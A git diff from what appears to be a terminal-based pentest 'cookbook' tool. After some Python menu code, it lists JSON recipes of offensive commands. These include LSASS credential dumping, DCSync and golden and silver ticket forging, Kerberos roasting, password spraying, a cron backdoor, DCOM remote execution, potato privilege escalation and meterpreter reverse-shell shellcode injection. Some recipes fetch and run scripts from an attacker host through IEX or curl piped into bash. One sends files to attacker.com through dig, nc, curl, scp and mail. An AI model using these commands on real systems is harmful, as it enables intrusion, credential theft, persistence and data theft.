subtitle_lines = get_wrapped_line_count(subtitle_text, max_width) item_line_counts = [get_wrapped_line_count(text, max_width) for text in item_texts] total_content_lines = header_lines + subtitle_lines + 1 + sum(item_line_counts) - start_y = BORDER_MARGIN_Y + (effective_max_y - total_content_lines) // 2 if start_y < BORDER_MARGIN_Y: start_y = BORDER_MARGIN_Y - stdscr.clear() current_y = start_y current_y = type_text(stdscr, current_y, header_text, color_pair | curses.A_BOLD, x_offset=None, animate=False) @@ -1420,28 +1650,30 @@ def menu(stdscr): current_y = type_text(stdscr, current_y, text, attr, x_offset=x_offset, animate=False) type_text(stdscr, max_y - BORDER_MARGIN_Y - 1, "USE ARROW KEYS TO NAVIGATE, ENTER TO SELECT, ESC TO STAY", color_pair, x_offset=None, animate=False) stdscr.refresh() - key = stdscr.getch() if key == curses.KEY_UP and current_row > 0: current_row -= 1 elif key == curses.KEY_DOWN and current_row < max_row: current_row += 1 elif key == 10: - if current_row == 1: + if current_row == 0: + run_cookbook(stdscr) + elif current_row == 1: run_commands(stdscr) elif current_row == 2: run_search(stdscr) - elif current_row == 0: - run_cookbook(stdscr) # NEW elif current_row == 3: - color_pair = run_settings(stdscr, color_pair) - elif current_row == 4: + run_muthur(stdscr) + elif menu_items[current_row] == "ERROR LOG": + run_error_log(stdscr) + elif menu_items[current_row] == "SETTINGS": + color_pair = run_settings(stdscr) + elif menu_items[current_row] == "SHUTDOWN": settings['animation_enabled'] = original_anim shutdown_sequence(stdscr) return elif key == 27: pass - def main(): if curses is None: print("ERROR: 'CURSES' LIBRARY NOT AVAILABLE. FALLING BACK TO COMMAND-LINE MODE.") @@ -1473,6 +1705,5 @@ def main(): else: curses.wrapper(boot_sequence) curses.wrapper(menu) - if __name__ == '__main__': main() \ No newline at end of file diff --git a/recipes/Active-Directory-Enumeration-Using-Legacy-Windows-Tools.json b/recipes/Active-Directory-Enumeration-Using-Legacy-Windows-Tools.json old mode 100644 new mode 100755 diff --git a/recipes/Active_directory_enumeration.json b/recipes/Active_directory_enumeration.json old mode 100644 new mode 100755 diff --git a/recipes/Enumerating-Active-Dir-Using-PS.json b/recipes/Enumerating-Active-Dir-Using-PS.json old mode 100644 new mode 100755 diff --git a/recipes/Linux_Enumeration.json b/recipes/Linux_Enumeration.json old mode 100644 new mode 100755 diff --git a/recipes/Windows_Enumeration.json b/recipes/Windows_Enumeration.json old mode 100644 new mode 100755 diff --git a/recipes/acl-abuse-detection.json b/recipes/acl-abuse-detection.json old mode 100644 new mode 100755 index 6c6a15d..baf9156 --- a/recipes/acl-abuse-detection.json +++ b/recipes/acl-abuse-detection.json @@ -1,25 +1,25 @@ -{ - "name": "Excessive Permission Discovery", - "description": "Uncover misconfigured ACLs granting unintended control over AD objects.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "PowerView ACL Sweep", - "command": "Find-InterestingDomainAcl -ResolveGUIDs | Where {$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl'} | Select ObjectDN,IdentityReference,ActiveDirectoryRights", - "description": "Find full control or DACL modification rights." - }, - { - "index": 2, - "name": "Specific Object ACL", - "command": "dsacls \"CN=Users,DC=corp,DC=local\" | findstr /i \"Allow.*Everyone\"", - "description": "Inspect permissions on a target container." - }, - { - "index": 3, - "name": "Current User Opportunities", - "command": "Get-Acl \"AD:\\$((Get-ADUser $env:USERNAME).DistinguishedName)\" | Select -Expand Access | Where {$_.IdentityReference -match $env:USERNAME}", - "description": "Check self-modification rights." - } - ] +{ + "name": "Excessive Permission Discovery", + "description": "Uncover misconfigured ACLs granting unintended control over AD objects.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "PowerView ACL Sweep", + "command": "Find-InterestingDomainAcl -ResolveGUIDs | Where {$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl'} | Select ObjectDN,IdentityReference,ActiveDirectoryRights", + "description": "Find full control or DACL modification rights." + }, + { + "index": 2, + "name": "Specific Object ACL", + "command": "dsacls \"CN=Users,DC=corp,DC=local\" | findstr /i \"Allow.*Everyone\"", + "description": "Inspect permissions on a target container." + }, + { + "index": 3, + "name": "Current User Opportunities", + "command": "Get-Acl \"AD:\\$((Get-ADUser $env:USERNAME).DistinguishedName)\" | Select -Expand Access | Where {$_.IdentityReference -match $env:USERNAME}", + "description": "Check self-modification rights." + } + ] } \ No newline at end of file diff --git a/recipes/ad-search-function.json b/recipes/ad-search-function.json old mode 100644 new mode 100755 diff --git a/recipes/asrep-roast-attack.json b/recipes/asrep-roast-attack.json old mode 100644 new mode 100755 index aa5a551..943d133 --- a/recipes/asrep-roast-attack.json +++ b/recipes/asrep-roast-attack.json @@ -1,25 +1,25 @@ -{ - "name": "Pre-Auth Disabled Account Exploitation", - "description": "Target users with Kerberos pre-authentication disabled.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Identify Targets", - "command": "Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties sAMAccountName,UserPrincipalName", - "description": "List vulnerable accounts." - }, - { - "index": 2, - "name": "Hash Extraction", - "command": "Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt", - "description": "Request and capture AS-REP responses." - }, - { - "index": 3, - "name": "Hash Cracking", - "command": "hashcat -m 18200 asrep.txt rockyou.txt", - "description": "Recover passwords offline." - } - ] +{ + "name": "Pre-Auth Disabled Account Exploitation", + "description": "Target users with Kerberos pre-authentication disabled.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Identify Targets", + "command": "Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties sAMAccountName,UserPrincipalName", + "description": "List vulnerable accounts." + }, + { + "index": 2, + "name": "Hash Extraction", + "command": "Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt", + "description": "Request and capture AS-REP responses." + }, + { + "index": 3, + "name": "Hash Cracking", + "command": "hashcat -m 18200 asrep.txt rockyou.txt", + "description": "Recover passwords offline." + } + ] } \ No newline at end of file diff --git a/recipes/automated-enumeration-linux.json b/recipes/automated-enumeration-linux.json old mode 100644 new mode 100755 index 93ba93b..9c2eff6 --- a/recipes/automated-enumeration-linux.json +++ b/recipes/automated-enumeration-linux.json @@ -1,25 +1,25 @@ -{ - "name": "Automated Host Enumeration (Linux)", - "description": "Run LinPEAS or similar for full system audit.", - "tools": [ - { - "name": "LinPEAS", - "description": "Linux privesc enumeration", - "url": "https://github.com/carlospolop/PEASS-ng/releases/latest" - } - ], - "steps": [ - { - "index": 1, - "name": "Download & Run", - "command": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash", - "description": "Execute comprehensive scan." - }, - { - "index": 2, - "name": "Output to File", - "command": "./linpeas.sh > enum.txt", - "description": "Save results for exfil." - } - ] +{ + "name": "Automated Host Enumeration (Linux)", + "description": "Run LinPEAS or similar for full system audit.", + "tools": [ + { + "name": "LinPEAS", + "description": "Linux privesc enumeration", + "url": "https://github.com/carlospolop/PEASS-ng/releases/latest" + } + ], + "steps": [ + { + "index": 1, + "name": "Download & Run", + "command": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash", + "description": "Execute comprehensive scan." + }, + { + "index": 2, + "name": "Output to File", + "command": "./linpeas.sh > enum.txt", + "description": "Save results for exfil." + } + ] } \ No newline at end of file diff --git a/recipes/automated-enumeration-win.json b/recipes/automated-enumeration-win.json old mode 100644 new mode 100755 index 2c56e97..f46781d --- a/recipes/automated-enumeration-win.json +++ b/recipes/automated-enumeration-win.json @@ -1,30 +1,30 @@ -{ - "name": "Automated Host Enumeration (Windows)", - "description": "Run comprehensive system recon using popular automated tools.", - "tools": [ - { - "name": "WinPEAS", - "description": "Windows privilege escalation checker", - "url": "https://github.com/carlospolop/PEASS-ng/releases/latest" - }, - { - "name": "PowerUp", - "description": "PowerShell privesc script", - "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1" - } - ], - "steps": [ - { - "index": 1, - "name": "Execute WinPEAS", - "command": "powershell -ep bypass -c \"IEX((New-Object Net.WebClient).DownloadString('http://attacker/winpeas.exe')); winpeas.exe\"", - "description": "Download and run full system audit." - }, - { - "index": 2, - "name": "Run PowerUp", - "command": "IEX(New-Object Net.WebClient).DownloadString('http://attacker/PowerUp.ps1'); Invoke-AllChecks", - "description": "Check services, DLLs, and misconfigs." - } - ] +{ + "name": "Automated Host Enumeration (Windows)", + "description": "Run comprehensive system recon using popular automated tools.", + "tools": [ + { + "name": "WinPEAS", + "description": "Windows privilege escalation checker", + "url": "https://github.com/carlospolop/PEASS-ng/releases/latest" + }, + { + "name": "PowerUp", + "description": "PowerShell privesc script", + "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1" + } + ], + "steps": [ + { + "index": 1, + "name": "Execute WinPEAS", + "command": "powershell -ep bypass -c \"IEX((New-Object Net.WebClient).DownloadString('http://attacker/winpeas.exe')); winpeas.exe\"", + "description": "Download and run full system audit." + }, + { + "index": 2, + "name": "Run PowerUp", + "command": "IEX(New-Object Net.WebClient).DownloadString('http://attacker/PowerUp.ps1'); Invoke-AllChecks", + "description": "Check services, DLLs, and misconfigs." + } + ] } \ No newline at end of file diff --git a/recipes/av-evasion-thread-injection.json b/recipes/av-evasion-thread-injection.json old mode 100644 new mode 100755 index bab8c91..6234bdc --- a/recipes/av-evasion-thread-injection.json +++ b/recipes/av-evasion-thread-injection.json @@ -1,25 +1,25 @@ -{ - "name": "AV Evasion via Thread Injection", - "description": "Inject shellcode into remote process to bypass AV.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Generate Shellcode", - "command": "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=443 -f raw > shell.bin", - "description": "Create position-independent code." - }, - { - "index": 2, - "name": "PowerShell Injection", - "command": "$proc = Start-Process notepad -PassThru; $handle = (Get-Process -Id $proc.Id).Handle; [MyInject]::Inject($handle, $shellcode)", - "description": "Custom injector to notepad.exe." - }, - { - "index": 3, - "name": "Early Bird APC", - "command": "rundll32.exe injection.dll,Inject", - "description": "Queue APC in suspended process." - } - ] +{ + "name": "AV Evasion via Thread Injection", + "description": "Inject shellcode into remote process to bypass AV.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Generate Shellcode", + "command": "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=443 -f raw > shell.bin", + "description": "Create position-independent code." + }, + { + "index": 2, + "name": "PowerShell Injection", + "command": "$proc = Start-Process notepad -PassThru; $handle = (Get-Process -Id $proc.Id).Handle; [MyInject]::Inject($handle, $shellcode)", + "description": "Custom injector to notepad.exe." + }, + { + "index": 3, + "name": "Early Bird APC", + "command": "rundll32.exe injection.dll,Inject", + "description": "Queue APC in suspended process." + } + ] } \ No newline at end of file diff --git a/recipes/bloodhound-analysis.json b/recipes/bloodhound-analysis.json old mode 100644 new mode 100755 index 041ce60..ebb17ba --- a/recipes/bloodhound-analysis.json +++ b/recipes/bloodhound-analysis.json @@ -1,31 +1,31 @@ -{ - "name": "Attack Path Visualization with BloodHound", - "description": "Load collected data into BloodHound to reveal privilege escalation routes.", - "tools": [ - { - "name": "BloodHound", - "description": "AD relationship graphing tool", - "url": "https://github.com/BloodHoundAD/BloodHound" - } - ], - "steps": [ - { - "index": 1, - "name": "Start Services", - "command": "neo4j start; bloodhound", - "description": "Launch database and GUI." - }, - { - "index": 2, - "name": "Import Dataset", - "command": "Drag domain_data.zip into BloodHound interface", - "description": "Load harvested JSON files." - }, - { - "index": 3, - "name": "Pathfinding Queries", - "command": "Run: Shortest Paths from Owned to Domain Admins", - "description": "Identify viable attack chains." - } - ] +{ + "name": "Attack Path Visualization with BloodHound", + "description": "Load collected data into BloodHound to reveal privilege escalation routes.", + "tools": [ + { + "name": "BloodHound", + "description": "AD relationship graphing tool", + "url": "https://github.com/BloodHoundAD/BloodHound" + } + ], + "steps": [ + { + "index": 1, + "name": "Start Services", + "command": "neo4j start; bloodhound", + "description": "Launch database and GUI." + }, + { + "index": 2, + "name": "Import Dataset", + "command": "Drag domain_data.zip into BloodHound interface", + "description": "Load harvested JSON files." + }, + { + "index": 3, + "name": "Pathfinding Queries", + "command": "Run: Shortest Paths from Owned to Domain Admins", + "description": "Identify viable attack chains." + } + ] } \ No newline at end of file diff --git a/recipes/cached-domain-creds.json b/recipes/cached-domain-creds.json old mode 100644 new mode 100755 index 1d1bbf7..8eab7ca --- a/recipes/cached-domain-creds.json +++ b/recipes/cached-domain-creds.json @@ -1,25 +1,25 @@ -{ - "name": "Local Credential Cache Extraction", - "description": "Harvest domain credentials stored in local caches and protected storage.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Cache Policy Check", - "command": "reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v CachedLogonsCount", - "description": "Determine cached logon limit." - }, - { - "index": 2, - "name": "Memory Dump (Admin)", - "command": "sekurlsa::logonpasswords", - "description": "Extract cleartext from LSASS." - }, - { - "index": 3, - "name": "DPAPI Artifacts", - "command": "dir %APPDATA%\\Microsoft\\Protect\\*; dir %APPDATA%\\Microsoft\\Credentials\\*", - "description": "Locate master keys and credential blobs." - } - ] +{ + "name": "Local Credential Cache Extraction", + "description": "Harvest domain credentials stored in local caches and protected storage.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Cache Policy Check", + "command": "reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v CachedLogonsCount", + "description": "Determine cached logon limit." + }, + { + "index": 2, + "name": "Memory Dump (Admin)", + "command": "sekurlsa::logonpasswords", + "description": "Extract cleartext from LSASS." + }, + { + "index": 3, + "name": "DPAPI Artifacts", + "command": "dir %APPDATA%\\Microsoft\\Protect\\*; dir %APPDATA%\\Microsoft\\Credentials\\*", + "description": "Locate master keys and credential blobs." + } + ] } \ No newline at end of file diff --git a/recipes/credential-spraying.json b/recipes/credential-spraying.json old mode 100644 new mode 100755 index a949331..709e1f1 --- a/recipes/credential-spraying.json +++ b/recipes/credential-spraying.json @@ -1,19 +1,19 @@ -{ - "name": "Low-Volume Credential Testing", - "description": "Perform password spraying and targeted brute-force attacks.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Password Spray", - "command": "crackmapexec smb domain.local -u users.txt -p 'Spring2025!' --continue-on-success", - "description": "Test one password across many users." - }, - { - "index": 2, - "name": "Focused Brute Force", - "command": "hydra -l admin -P passlist.txt domain.local smb", - "description": "High-speed attack on single account." - } - ] +{ + "name": "Low-Volume Credential Testing", + "description": "Perform password spraying and targeted brute-force attacks.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Password Spray", + "command": "crackmapexec smb domain.local -u users.txt -p 'Spring2025!' --continue-on-success", + "description": "Test one password across many users." + }, + { + "index": 2, + "name": "Focused Brute Force", + "command": "hydra -l admin -P passlist.txt domain.local smb", + "description": "High-speed attack on single account." + } + ] } \ No newline at end of file diff --git a/recipes/cron-job-abuse.json b/recipes/cron-job-abuse.json old mode 100644 new mode 100755 index d63d099..18cd7aa --- a/recipes/cron-job-abuse.json +++ b/recipes/cron-job-abuse.json @@ -1,25 +1,25 @@ -{ - "name": "Cron Job Exploitation", - "description": "Hijack or create cron jobs for persistence.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "List Cron Jobs", - "command": "crontab -l; cat /etc/crontab; ls /etc/cron.*", - "description": "User and system crons." - }, - { - "index": 2, - "name": "Writable Cron Script", - "command": "echo '* * * * * /bin/sh /tmp/backdoor.sh' >> /etc/cron.d/pwn", - "description": "Add root cron if writable." - }, - { - "index": 3, - "name": "Modify Existing", - "command": "sed -i 's/original_command/malicious_command/g' /etc/cron.daily/backup", - "description": "Alter legitimate job." - } - ] +{ + "name": "Cron Job Exploitation", + "description": "Hijack or create cron jobs for persistence.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "List Cron Jobs", + "command": "crontab -l; cat /etc/crontab; ls /etc/cron.*", + "description": "User and system crons." + }, + { + "index": 2, + "name": "Writable Cron Script", + "command": "echo '* * * * * /bin/sh /tmp/backdoor.sh' >> /etc/cron.d/pwn", + "description": "Add root cron if writable." + }, + { + "index": 3, + "name": "Modify Existing", + "command": "sed -i 's/original_command/malicious_command/g' /etc/cron.daily/backup", + "description": "Alter legitimate job." + } + ] } \ No newline at end of file diff --git a/recipes/dc-replication-attack.json b/recipes/dc-replication-attack.json old mode 100644 new mode 100755 index a1f4bdf..0efa221 --- a/recipes/dc-replication-attack.json +++ b/recipes/dc-replication-attack.json @@ -1,25 +1,25 @@ -{ - "name": "Domain Controller Data Pull", - "description": "Abuse replication rights to extract user hashes from DCs.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Replication Rights Check", - "command": "whoami /groups | findstr \"Replic\"", - "description": "Verify DS-Replication permissions." - }, - { - "index": 2, - "name": "Hash Extraction", - "command": "lsadump::dcsync /domain:corp.local /user:krbtgt /csv", - "description": "Pull krbtgt hash." - }, - { - "index": 3, - "name": "Impacket Alternative", - "command": "secretsdump.py corp/user@dc01.corp.local -just-dc-user krbtgt", - "description": "Cross-platform DCSync." - } - ] +{ + "name": "Domain Controller Data Pull", + "description": "Abuse replication rights to extract user hashes from DCs.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Replication Rights Check", + "command": "whoami /groups | findstr \"Replic\"", + "description": "Verify DS-Replication permissions." + }, + { + "index": 2, + "name": "Hash Extraction", + "command": "lsadump::dcsync /domain:corp.local /user:krbtgt /csv", + "description": "Pull krbtgt hash." + }, + { + "index": 3, + "name": "Impacket Alternative", + "command": "secretsdump.py corp/user@dc01.corp.local -just-dc-user krbtgt", + "description": "Cross-platform DCSync." + } + ] } \ No newline at end of file diff --git a/recipes/dcom-lateral-movement.json b/recipes/dcom-lateral-movement.json old mode 100644 new mode 100755 index 00901e3..aa45a9f --- a/recipes/dcom-lateral-movement.json +++ b/recipes/dcom-lateral-movement.json @@ -1,19 +1,19 @@ -{ - "name": "DCOM-Based Execution", - "description": "Leverage DCOM objects for remote code execution.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "MMC COM Object", - "command": "powershell -ep bypass -c \"$com = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','TARGET')); $doc = $com.Document; $view = $doc.ActiveView; $view.ExecuteShellCommand('cmd.exe',$null,'/c whoami > C:\\temp\\dcom.txt','7')\"", - "description": "Run command via MMC." - }, - { - "index": 2, - "name": "ShellWindows COM", - "command": "powershell -c \"$shell = [activator]::CreateInstance([type]::GetTypeFromProgID('Shell.Application','TARGET')); $shell.ShellExecute('cmd.exe','/c calc.exe','','runas',1)\"", - "description": "Launch process via Shell." - } - ] +{ + "name": "DCOM-Based Execution", + "description": "Leverage DCOM objects for remote code execution.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "MMC COM Object", + "command": "powershell -ep bypass -c \"$com = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','TARGET')); $doc = $com.Document; $view = $doc.ActiveView; $view.ExecuteShellCommand('cmd.exe',$null,'/c whoami > C:\\temp\\dcom.txt','7')\"", + "description": "Run command via MMC." + }, + { + "index": 2, + "name": "ShellWindows COM", + "command": "powershell -c \"$shell = [activator]::CreateInstance([type]::GetTypeFromProgID('Shell.Application','TARGET')); $shell.ShellExecute('cmd.exe','/c calc.exe','','runas',1)\"", + "description": "Launch process via Shell." + } + ] } \ No newline at end of file diff --git a/recipes/dns-enumeration.json b/recipes/dns-enumeration.json old mode 100644 new mode 100755 index 9927e20..1c8b4ee --- a/recipes/dns-enumeration.json +++ b/recipes/dns-enumeration.json @@ -1,25 +1,25 @@ -{ - "name": "DNS Reconnaissance", - "description": "Enumerate DNS records for targets and subdomains.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Zone Transfer", - "command": "dig @ns.target.com target.com AXFR", - "description": "Attempt full zone dump." - }, - { - "index": 2, - "name": "Brute Force Subdomains", - "command": "for sub in $(cat subdomains.txt); do host $sub.target.com; done", - "description": "Dictionary attack." - }, - { - "index": 3, - "name": "Reverse Lookup", - "command": "for ip in $(seq 1 254); do host 192.168.1.$ip; done | grep target.com", - "description": "Map IP range to names." - } - ] +{ + "name": "DNS Reconnaissance", + "description": "Enumerate DNS records for targets and subdomains.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Zone Transfer", + "command": "dig @ns.target.com target.com AXFR", + "description": "Attempt full zone dump." + }, + { + "index": 2, + "name": "Brute Force Subdomains", + "command": "for sub in $(cat subdomains.txt); do host $sub.target.com; done", + "description": "Dictionary attack." + }, + { + "index": 3, + "name": "Reverse Lookup", + "command": "for ip in $(seq 1 254); do host 192.168.1.$ip; done | grep target.com", + "description": "Map IP range to names." + } + ] } \ No newline at end of file diff --git a/recipes/domain-recon-powerview.json b/recipes/domain-recon-powerview.json old mode 100644 new mode 100755 diff --git a/recipes/domain-wide-tgt-forge.json b/recipes/domain-wide-tgt-forge.json old mode 100644 new mode 100755 index 9b19b6b..80cedc7 --- a/recipes/domain-wide-tgt-forge.json +++ b/recipes/domain-wide-tgt-forge.json @@ -1,25 +1,25 @@ -{ - "name": "Persistent Domain Access Ticket", - "description": "Forge a long-lived TGT using the krbtgt account hash.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Extract krbtgt Hash", - "command": "lsadump::dcsync /domain:corp.local /user:krbtgt", - "description": "Pull domain ticket signing key." - }, - { - "index": 2, - "name": "Create Golden Ticket", - "command": "kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt /startoffset:0 /endin:525600", - "description": "Generate 10-year valid TGT." - }, - { - "index": 3, - "name": "Verify Access", - "command": "klist; dir \\\\dc01.corp.local\\c$", - "description": "Confirm persistence." - } - ] +{ + "name": "Persistent Domain Access Ticket", + "description": "Forge a long-lived TGT using the krbtgt account hash.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Extract krbtgt Hash", + "command": "lsadump::dcsync /domain:corp.local /user:krbtgt", + "description": "Pull domain ticket signing key." + }, + { + "index": 2, + "name": "Create Golden Ticket", + "command": "kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt /startoffset:0 /endin:525600", + "description": "Generate 10-year valid TGT." + }, + { + "index": 3, + "name": "Verify Access", + "command": "klist; dir \\\\dc01.corp.local\\c$", + "description": "Confirm persistence." + } + ] } \ No newline at end of file diff --git a/recipes/exfil-linux-methods.json b/recipes/exfil-linux-methods.json old mode 100644 new mode 100755 index 6afd021..a657415 --- a/recipes/exfil-linux-methods.json +++ b/recipes/exfil-linux-methods.json @@ -1,43 +1,43 @@ -{ - "name": "Data Exfiltration Techniques on Linux", - "description": "Stealthy and direct methods to move data off Linux systems using native tools.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "DNS Exfiltration via dig", - "command": "while read line; do dig +short $line.attacker.com TXT; done < data.txt", - "description": "Send data chunked in DNS TXT queries." - }, - { - "index": 2, - "name": "Netcat File Transfer", - "command": "nc -w 3 attacker.com 4444 < data.tar.gz", - "description": "Direct TCP stream to listener (if outbound allowed)." - }, - { - "index": 3, - "name": "cURL HTTP POST", - "command": "curl -X POST -F 'file=@data.txt' http://attacker.com/upload", - "description": "Upload via HTTP multipart form." - }, - { - "index": 4, - "name": "SCP Secure Copy", - "command": "scp data.txt user@attacker.com:~/loot/", - "description": "Encrypted transfer over SSH (port 22)." - }, - { - "index": 5, - "name": "Base64 + Email (sendmail)", - "command": "base64 data.txt | mail -s 'report' attacker@email.com", - "description": "Encode and send via local MTA." - }, - { - "index": 6, - "name": "SSH Reverse Tunnel Exfil", - "command": "ssh -R 8888:localhost:22 user@attacker.com 'cat > tunnel.txt' < data.txt", - "description": "Push data through reverse SSH tunnel." - } - ] +{ + "name": "Data Exfiltration Techniques on Linux", + "description": "Stealthy and direct methods to move data off Linux systems using native tools.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "DNS Exfiltration via dig", + "command": "while read line; do dig +short $line.attacker.com TXT; done < data.txt", + "description": "Send data chunked in DNS TXT queries." + }, + { + "index": 2, + "name": "Netcat File Transfer", + "command": "nc -w 3 attacker.com 4444 < data.tar.gz", + "description": "Direct TCP stream to listener (if outbound allowed)." + }, + { + "index": 3, + "name": "cURL HTTP POST", + "command": "curl -X POST -F 'file=@data.txt' http://attacker.com/upload", + "description": "Upload via HTTP multipart form." + }, + { + "index": 4, + "name": "SCP Secure Copy", + "command": "scp data.txt user@attacker.com:~/loot/", + "description": "Encrypted transfer over SSH (port 22)." + }, + { + "index": 5, + "name": "Base64 + Email (sendmail)", + "command": "base64 data.txt | mail -s 'report' attacker@email.com", + "description": "Encode and send via local MTA." + }, + { + "index": 6, + "name": "SSH Reverse Tunnel Exfil", + "command": "ssh -R 8888:localhost:22 user@attacker.com 'cat > tunnel.txt' < data.txt", + "description": "Push data through reverse SSH tunnel." + } + ] } \ No newline at end of file diff --git a/recipes/forged-service-ticket.json b/recipes/forged-service-ticket.json old mode 100644 new mode 100755 index 2b088ec..6d3d3be --- a/recipes/forged-service-ticket.json +++ b/recipes/forged-service-ticket.json @@ -1,19 +1,19 @@ -{ - "name": "Service-Level Ticket Forging", - "description": "Create silver tickets using compromised service account hashes.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Acquire Service Hash", - "command": "Rubeus.exe kerberoast /user:svc_sql /outfile:svc.txt", - "description": "Extract RC4 hash via roasting." - }, - { - "index": 2, - "name": "Forge & Inject", - "command": "mimikatz.exe \"kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /rc4:NTLMHASH /service:cifs /target:fileserver.corp.local /ptt\"", - "description": "Generate and apply silver ticket." - } - ] +{ + "name": "Service-Level Ticket Forging", + "description": "Create silver tickets using compromised service account hashes.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Acquire Service Hash", + "command": "Rubeus.exe kerberoast /user:svc_sql /outfile:svc.txt", + "description": "Extract RC4 hash via roasting." + }, + { + "index": 2, + "name": "Forge & Inject", + "command": "mimikatz.exe \"kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /rc4:NTLMHASH /service:cifs /target:fileserver.corp.local /ptt\"", + "description": "Generate and apply silver ticket." + } + ] } \ No newline at end of file diff --git a/recipes/hot-potato.json b/recipes/hot-potato.json old mode 100644 new mode 100755 index 503c4b9..e01723a --- a/recipes/hot-potato.json +++ b/recipes/hot-potato.json @@ -1,31 +1,31 @@ -{ - "name": "Windows Privilege Escalation with Hot Potato", - "description": "Abuse named pipe client impersonation and RPCSS to escalate privileges in Windows without relying on DCOM, effective against certain mitigations.", - "tools": [ - { - "name": "HotPotato", - "description": "Exploit using SMB and RPC for token impersonation in non-SMB signed environments", - "url": "https://github.com/jesket/HotPotato" - } - ], - "steps": [ - { - "index": 1, - "name": "Download HotPotato", - "command": "git clone https://github.com/jesket/HotPotato.git; cd HotPotato/bin/x64 (or x86)", - "description": "Clone the repository and select the pre-built binary matching the target architecture for transfer." - }, - { - "index": 2, - "name": "Run HotPotato Exploit", - "command": "./HotPotato.exe 127.0.0.1 \"cmd.exe /c net user hacker Password123 /add\"", - "description": "Execute from a service account process with SeImpersonatePrivilege, targeting loopback or a DC, and specify the elevated command payload." - }, - { - "index": 3, - "name": "Confirm and Leverage", - "command": "Check netstat for RPC connections; verify new user with net user", - "description": "Monitor for successful impersonation chain; if elevated, log in as the new admin user for further access." - } - ] +{ + "name": "Windows Privilege Escalation with Hot Potato", + "description": "Abuse named pipe client impersonation and RPCSS to escalate privileges in Windows without relying on DCOM, effective against certain mitigations.", + "tools": [ + { + "name": "HotPotato", + "description": "Exploit using SMB and RPC for token impersonation in non-SMB signed environments", + "url": "https://github.com/jesket/HotPotato" + } + ], + "steps": [ + { + "index": 1, + "name": "Download HotPotato", + "command": "git clone https://github.com/jesket/HotPotato.git; cd HotPotato/bin/x64 (or x86)", + "description": "Clone the repository and select the pre-built binary matching the target architecture for transfer." + }, + { + "index": 2, + "name": "Run HotPotato Exploit", + "command": "./HotPotato.exe 127.0.0.1 \"cmd.exe /c net user hacker Password123 /add\"", + "description": "Execute from a service account process with SeImpersonatePrivilege, targeting loopback or a DC, and specify the elevated command payload." + }, + { + "index": 3, + "name": "Confirm and Leverage", + "command": "Check netstat for RPC connections; verify new user with net user", + "description": "Monitor for successful impersonation chain; if elevated, log in as the new admin user for further access." + } + ] } \ No newline at end of file diff --git a/recipes/juicy-potato.json b/recipes/juicy-potato.json old mode 100644 new mode 100755 index 500c614..1ff7bd2 --- a/recipes/juicy-potato.json +++ b/recipes/juicy-potato.json @@ -1,31 +1,31 @@ -{ - "name": "Windows Privilege Escalation with Juicy Potato", - "description": "Advanced DCOM/RPC exploitation using CLR and token manipulation to bypass integrity checks for reliable SYSTEM access.", - "tools": [ - { - "name": "JuicyPotato", - "description": "Improved potato variant leveraging .NET CLR for more stable DCOM activation and impersonation", - "url": "https://github.com/ohpe/juicy-potato" - } - ], - "steps": [ - { - "index": 1, - "name": "Download JuicyPotato", - "command": "git clone https://github.com/ohpe/juicy-potato.git; cd juicy-potato; Build or use precompiled JuicyPotato.exe", - "description": "Clone the repo, compile the C# project if needed, and copy the executable to the target system." - }, - { - "index": 2, - "name": "Execute JuicyPotato", - "command": "./JuicyPotato.exe -l 1337 -p cmd.exe -a \"/c whoami > C:\\temp\\whoami.txt\" -t * -c {F9E380B5-8F40-11CE-8794-00A024A23D8A}", - "description": "Run with local port, payload arguments, all transports (-t *), and a vulnerable CLSID for DCOM (e.g., BITS)." - }, - { - "index": 3, - "name": "Validate Privileges", - "command": "type C:\\temp\\whoami.txt; Check process integrity with icacls or whoami /groups", - "description": "Review output file for SYSTEM indication; exploit further if escalation to high integrity is confirmed." - } - ] +{ + "name": "Windows Privilege Escalation with Juicy Potato", + "description": 